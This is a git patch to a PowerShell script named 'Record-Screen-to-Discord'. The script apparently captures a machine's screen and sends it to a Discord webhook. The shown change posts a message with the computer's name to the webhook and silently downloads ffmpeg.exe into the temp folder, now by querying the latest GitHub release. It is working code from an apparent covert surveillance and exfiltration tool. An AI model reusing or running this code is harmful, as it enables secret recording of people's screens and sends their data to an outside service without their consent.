From 9018a8ce3edcbbab9304bd9092b8fe46171e8f5e Mon Sep 17 00:00:00 2001 From: egieb <93350544+beigeworm@users.noreply.github.com> Date: Tue, 25 Jun 2024 11:42:44 +0000 Subject: [PATCH] Update main.ps1 --- Record-Screen-to-Discord/main.ps1 | 10 +++++++--- 1 file changed, 7 insertions(+), 3 deletions(-) diff --git a/Record-Screen-to-Discord/main.ps1 b/Record-Screen-to-Discord/main.ps1 index 87bbe6c..bd15cb9 100644 --- a/Record-Screen-to-Discord/main.ps1 +++ b/Record-Screen-to-Discord/main.ps1 @@ -17,10 +17,14 @@ Function RecordScreen{ If (!(Test-Path $Path)){ $jsonsys = @{"username" = "$env:COMPUTERNAME" ;"content" = ":hourglass: ``Downloading ffmpeg.exe. Please wait...`` :hourglass:"} | ConvertTo-Json Invoke-RestMethod -Uri $hookurl -Method Post -ContentType "application/json" -Body $jsonsys - $zipUrl = 'https://www.gyan.dev/ffmpeg/builds/packages/ffmpeg-7.0-essentials_build.zip' $tempDir = "$env:temp" - $zipFilePath = Join-Path $tempDir 'ffmpeg-7.0-essentials_build.zip' - $extractedDir = Join-Path $tempDir 'ffmpeg-7.0-essentials_build' + $apiUrl = "https://api.github.com/repos/GyanD/codexffmpeg/releases/latest" + $response = Invoke-WebRequest -Uri $apiUrl -Headers @{ "User-Agent" = "PowerShell" } -UseBasicParsing + $release = $response.Content | ConvertFrom-Json + $asset = $release.assets | Where-Object { $_.name -like "*essentials_build.zip" } + $zipUrl = $asset.browser_download_url + $zipFilePath = Join-Path $tempDir $asset.name + $extractedDir = Join-Path $tempDir ($asset.name -replace '.zip$', '') Invoke-WebRequest -Uri $zipUrl -OutFile $zipFilePath Expand-Archive -Path $zipFilePath -DestinationPath $tempDir -Force Move-Item -Path (Join-Path $extractedDir 'bin\ffmpeg.exe') -Destination $tempDir -Force